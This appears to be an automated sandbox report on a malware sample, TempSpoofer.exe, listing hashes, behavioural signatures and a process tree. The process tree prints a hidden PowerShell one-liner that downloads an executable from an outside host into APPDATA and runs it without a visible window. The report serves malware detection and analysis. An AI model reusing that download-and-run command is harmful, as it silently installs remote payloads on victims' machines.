Analysis
- max time kernel
148s - max time network
140s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 22:15
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
TempSpoofer.exe
Resource
win10v2004-20260513-en
19 signatures
150 seconds
Behavioral task
behavioral2
Sample
TempSpoofer.exe
Resource
win11ltsc2024-20260709-en
8 signatures
150 seconds
General
- Target TempSpoofer.exe
- Size 1.1MB
- Sample260803-16m45agf86
- SHA256 420e72d05cfcf65334ca9570023f4cfc06ea549c311c9e5d6bc239dffd74396c
- MD5 a10d54671f5f1701f162eb6be49669f4
- SHA1 cc66397fe7ac2f7ce4f8f5331cfbda83160aab69
- SHA512 dc577f785938e9e3860ee5a5168aeb54112c3a30203b40bb9d4562e773821d2cf0f98ad03c547e5965026d2535c8546d6215ea89572a6763f0e4634b9c167563
- SSDEEP 24576:3uorW/8dJ6wfIww+birnp+w7+DvQwQo0Bv4k:3dW/8qw3/mrnEw7EYwaBv
- TLSH T1BA45AE4BF3E880BCD177D174C6A6992BDA36785117349ADF23C009681F626D06B7BB23
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 3 4224 powershell.exe 9 4224 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4224 powershell.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4448 cmd.exe 3968 cmd.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4224 powershell.exe 4224 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2892 TempSpoofer.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4224 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2892 TempSpoofer.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2892 wrote to memory of 4448 2892 TempSpoofer.exe 88 PID 4448 wrote to memory of 3968 4448 cmd.exe 91 PID 3968 wrote to memory of 4224 3968 cmd.exe 93
Processes
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C:\Users\Admin\AppData\Local\Temp\TempSpoofer.exe"C:\Users\Admin\AppData\Local\Temp\TempSpoofer.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK922805.exe; Start-Process -FilePath $env:APPDATA\BK922805.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK922805.exe; Start-Process -FilePath $env:APPDATA\BK922805.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK922805.exe; Start-Process -FilePath $env:APPDATA\BK922805.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:3360